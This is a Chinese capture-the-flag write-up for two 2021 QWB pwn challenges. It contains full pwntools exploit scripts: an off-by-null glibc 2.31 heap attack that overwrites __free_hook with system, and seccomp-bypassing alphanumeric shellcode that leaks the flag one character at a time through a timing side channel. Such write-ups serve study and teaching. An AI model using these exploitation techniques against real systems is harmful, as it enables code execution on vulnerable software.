2021-QWB

一、baby_diary

2.31下的off-by-null,多溢出半个字节,所以总共需要爆破一个字节。这里还需要绕过read的检查,不过我这个布局完之后刚好可以通过,也就没太管了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
# -*- coding:UTF-8 -*-
from pwn import *
#from LibcSearcher import *
#context.log_level = 'debug'

#context
context.arch = 'amd64'
SigreturnFrame(kernel = 'amd64')


binary = "./baby_diary"
libc_file = "./libc-2.31.so"
#libc_file = "/lib/x86_64-linux-gnu/libc-2.27.so"
#libc_file = ""

#libcsearcher use
#32bit:malloc_hook = main_arena-0x18
#32bit:main_arena+56(unsortedbin_addr)
#64bit:main_arena+96(unsortedbin_addr)//88 aslo have
'''
malloc_hook = main_arena-0x10
obj = LibcSearcher("__malloc_hook", malloc_hook)
obj = LibcSearcher("fgets", 0Xd90)
libc_base = fgets-obj.dump('fgets')
system_addr = libc_base + obj.dump("system") #system
binsh_addr = libc_base + obj.dump("str_bin_sh")
log.info("system_addr:0x%x"%system_addr)
'''

#malloc_hook,main_aren Find
'''
python2 LibcOffset.py libc-2.23.so
'''

#without stripped
'''
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
system_plt = elf.plt['system']
read_plt = elf.plt['read']
main_addr = elf.sym['main']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
'''


#usually gadget:
'''
u_gadget1 = elf.sym['__libc_csu_init'] + 0x5a
u_gadget2 = elf.sym['__libc_csu_init'] + 0x40
pop_rdi_ret = elf.sym['__libc_csu_init'] + 0x63
ret = elf.sym['__libc_csu_init'] + 0x64
'''


local = 1
if local:
#p = process(binary)
p = process(binary, env={"LD_PRELOAD":"./libc-2.31.so"})
elf = ELF(binary)
libc = ELF(libc_file)
else:
p = remote("node3.buuoj.cn","49153")
elf = ELF(binary)
#libc = ELF(libc_file)

sd = lambda s:p.send(s)
sl = lambda s:p.sendline(s)
rc = lambda s:p.recv(s)
ru = lambda s:p.recvuntil(s)
rl = lambda :p.recvline()
sa = lambda a,s:p.sendafter(a,s)
sla = lambda a,s:p.sendlineafter(a,s)

menu = ">> "


def add(size, con):
sla(menu, "1")
sla("size: ", str(size))
sla("content: ", con)

def delete(idx):
sla(menu, "3")
sla("index: ", str(idx))

def show(idx):
sla(menu, "2")
sla("index: ", str(idx))


def pwn():


#(1)前期准备加堆布局:
for i in range(7): # 0-6
add(0x2000-1, "/bin/sh\x00")
add(0x2000-0x1410-0x40-1, "padding") # 7

for i in range(7): # 8-14
add(0x28-1, 'tcache')

#crux chunk15
add(0xb20-1, "largebin") # 15
#prevent merge
add(0x10-1, "padding") # 16




#(2)制作fake_chunk,利用largebin踩下fd_nextsize和bk_nextsize:
delete(15)

#chunk15 to largebin
add(0x1000-1, '\n') #15
#make fake_chunk in chunk17
add(0x28-1, p64(0x6) + p64(0x601) + p8(0x40)) #17



#(3)联动fastbin和smallbin:
add(0x28-1, '\x18') # 18
add(0x28-1, '\xaa') # 19
add(0x28-1, '\x20') # 20
add(0x28-1, '\x21') # 21
# fill in tcache(0x30)
for i in range(7): # 8-14
delete(8 + i)

delete(20)
delete(18)

# clear tcache(0x30)
for i in range(7): # 8-14
add(0x28-1, '\x08')

# fastbin to smallbin
add(0x400-1, '\x20') #18

# get chunk18 from smallbin ,chunk20 to tcache
# change chunk18->bk to point to fake_chunk
add(0x28-1, p64(0) + p8(0x20)) #20



#(4)利用fastbin修改chunk17->fd:
# clear chunk from tcache
add(0x28-1, 'clear') # 21 from tcache

for i in range(7): # 8-14
delete(8 + i)

# free to fastbin
delete(19)
delete(17)

for i in range(7): # 8-14
add(0x28-1, '\x08')

# change chunk17->fd to point to fake_chunk
add(0x28-1, p8(0x20)) #17


#(5)触发off-by-null:
add(0x28-1, "\x19")# 19 from fastbin
show(19)

add(0x108-1, "\x23") # 23 cutting from chunk15 in unsortebin,for overwrite
add(0x518-1, "\x24") # 24 legacy from chunk15 in unsortebin,for trigger off-by-null
#add(0x100-1, "padding") # 24
# off-by-null

delete(23)
add(0x108-1,p64(0x0)*0x21)
delete(23)
add(0x108-1,p64(0x0)*0x1f+"\x00"*7+"\x06")
#edit(22, "a"*0x20 + p64(0x520))
# trigger
delete(24)
add(0x4e8-1,"padding")
show(23)
ru("content: ")
main_arena = u64(rc(6).ljust(8,"\x00"))-96
malloc_hook = main_arena-0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system_addr = libc_base + libc.sym['system']
log.info("system_addr:0x%x"%system_addr)
log.info("libc_base:0x%x"%libc_base)

delete(24)
delete(1)
delete(2)
delete(3)
delete(8)
delete(19)
add(0x4e8-1,p64(0x30)*8+p64(0x30)+p64(0x31)+p64(free_hook))
add(0x28-1,"padding")
add(0x28-1,p64(system_addr))
delete(0)
p.interactive()
#add(0x18-1,"A")
#add(0x18-1,"B")
#delete(0)
#add(0x18-1,p64(0x0)*2+("\x30"+"\x20").ljust(8,"\x00"))
#pause()



i = 0
while True:
i += 1
print i
#p = process(binary)
#p = process(binary, env={"LD_PRELOAD":"./libc-2.31.so"})
p = remote("8.140.114.72",1399)
try:
pwn()
p.recv(timeout = 0.5)
#要么崩溃要么爆破成功,若崩溃io会关闭,io.recv()会触发 EOFError
EOFError
except EOFError:
p.close()
continue
else:
sleep(0.1)
p.sendline("1")
pause()
break

二、shellcode:

img

只有系统号0x9,0x5,0x25,0x0,0xe7才能正常被执行,而0x5在32位下是open,即可以利用到open,mmap,和read函数。对于ORW少了一个W,可以使用flag的逐个字符比较的方法来爆破出flag。由于切换retfq需要涉及到构造32位的栈地址,所以这里最好还是用mmap来申请指定位置的一片空间,从而劫持栈。

(1)mmap的设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
shellcode_mmap = '''
/*mmap(0x40404040,0x7e,,0x7,0x22,0,0)*/
xor rax,rax

/*set rdx*/
mov al,0x7
push rax
pop rdx

/*set rcx*/
mov al,0x22
push rax
pop rcx

/*set rdi*/
xor rdi,rdi
mov edi,0x40404040

/*set rsi*/
mov al,0x7e
push rax
pop rsi

/*set rax*/
mov al,0x9

/*set r8,r9*/
xor r8,r8
xor r9,r9

syscall
'''

这里由于对输入字符做了限制,只能是可见字符,同时由于这里使用alpha3这个工具来将shellcode编码成可见字符。但是这个工具有一个缺点,就是不能出现\x00这个字符,所以如果我们使用mov rax,0x9则使得0x9在64位是0x0000000000000009,存在\x00字符,所以需要用到al,dl,等8位寄存器,来转换一下。

(2)read的设置:

1
2
3
4
5
6
7
8
9
10
shellcode_read = '''
/*read(0,0x40404040,0x70)*/
xor rax,rax
xor rdi,rdi
xor rsi,rsi
mov esi,0x40404040
xor rdx,rdx
mov dl,0x70
syscall
'''

读入到之前用mmap开辟的空间0x40404040处。

(3)retfq的设置:

1
2
3
4
5
6
shellcode_retfq = '''
mov esp,0x40404440
push 0x23
push 0x40404040
retfq
'''

①需要32位的栈,同时劫持esp,使得栈上的完全可控,防止push出错。

②这里0x23为转32位,0x33为转64位。

③push 0x40404040是在retfq之后跳转的地方,需要放到栈上。

▲汇编点:存在xor,mov,retfq多的时候,需要是:shellcode_x64 = asm(shellcode_x64,arch = ‘amd64’,os=’linux’)才行。

以上的很多不太知道原理,具体的在具体用到时候再改。

(4)orw中的or设置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
shellcode_open = '''
mov eax, 5
push 0x67616c66
mov ebx, esp
xor ecx, ecx
int 0x80
mov ecx, eax
'''

shellcode_to64 = '''
push 0x33
push 0x4040402b
retfq
'''

shellcode_read_flag = '''
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
'''

(5)爆破的汇编代码设置:

1
2
3
4
if flag_pos == 0:
shellcode = "cmp byte ptr[rsp+{0}], {1}; jz $-4; ret".format(flag_pos, ch)
else:
shellcode = "cmp byte ptr[rsp+{0}], {1}; jz $-5; ret".format(flag_pos, ch)

这里的ch即为循环的可见字符,flag_pos是读出flag的对应位置,但是原理就是将读取的flag遍历比较所有可见字符,相等则使得程序跳入循环中,然后就可以通过设置timeout为某个值来判断这个字符是否相等,相等则加入到flag中。类似的有:

1
2
3
4
5
6
7
8
9
10
check = '''
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz loop
mov al,231
syscall
loop:
jmp loop
'''.format(reloc,ch)

这里就用到了exit_group,另外rsp,rsi,甚至rbx都可以的,因为读取之后这三个寄存器都保存了flag的值:

img

(6)汇总:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#注释头

from pwn import *

shellcode_open = '''
mov eax, 5
push 0x67616c66
mov ebx, esp
xor ecx, ecx
int 0x80
mov ecx, eax
'''

shellcode_to64 = '''
push 0x33
push 0x4040405b
retfq
'''

shellcode_read_flag = '''
mov rdi,rcx
mov rsi,rsp
mov rdx,0x70
xor rax,rax
syscall
'''

shellcode_open = asm(shellcode_open)
shellcode_to64 = asm(shellcode_to64,arch = 'amd64',os = 'linux')
shellcode_read_flag = asm(shellcode_read_flag,arch = 'amd64',os = 'linux')


def pwn(p, flag_pos, ch):
payload = "Sh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M15103e4A070c7o4D0c1P0n0x0R3X8P0t140p2C4A2N1P005p0q1M0c3c2u194Y7o0q0y154008135L1L0p3T400q2p0p0p1M0A3r3S0A0B053O0s2G0r051k2z1l2y0w2O0p093k0y"
p.sendline(payload)
sc = asm('''
mov dl, byte ptr [rsi+{}]
mov cl, {}
cmp cl,dl
jz loop
mov al,231
syscall
loop:
jmp loop
'''.format(flag_pos,ch),arch = 'amd64',os = 'linux')

if flag_pos == 0:
shellcode = "cmp byte ptr[rsp+{}], {}; jz $-4; ret".format(flag_pos, ch)
else:
shellcode = "cmp byte ptr[rsp+{}], {}; jz $-5; ret".format(flag_pos, ch)
check = asm(shellcode, arch='amd64', os='linux')

payload = shellcode_open + shellcode_to64 + shellcode_read_flag + check
#pause()
p.send(payload)
#pause()

my_flag = ""
flag_pos = 0
while True:
for ch in range(33, 127):
#p = remote("39.105.137.118", 50050)
p = process("./shellcode")
try:
print(ch)
pwn(p, flag_pos, ch)
p.recvline(timeout=3.0)
my_flag = my_flag + chr(ch)
print("=>", my_flag)
flag_pos += 1
p.close()
break
except EOFError:
ch += 1
p.close()
if(my_flag[-1] == '}'):
break
log.info("flag:%s"%my_flag)